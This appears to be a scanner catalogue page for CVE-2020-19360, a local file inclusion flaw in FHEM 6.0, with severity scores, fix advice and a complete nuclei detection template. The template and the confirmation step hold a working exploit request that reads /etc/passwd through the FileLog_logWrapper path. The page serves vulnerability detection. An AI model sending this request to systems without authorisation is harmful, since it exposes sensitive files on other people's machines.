FHEM 6.0 - Local File Inclusion

highseverity

7.5CVSS score

17.3%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

FHEM version 6.0 suffers from a local file inclusion vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system.

Fix

Apply the latest patch or upgrade to a version that is not affected by the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-19360 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-19360

info:
  name: FHEM 6.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: FHEM version 6.0 suffers from a local file inclusion vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
  reference:
    - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md
    - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability
    - https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19360
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-19360
    cwe-id: CWE-22
    epss-score: 0.17278
    epss-percentile: 0.97128
    cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fhem
    product: fhem
  tags: cve,cve2020,fhem,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from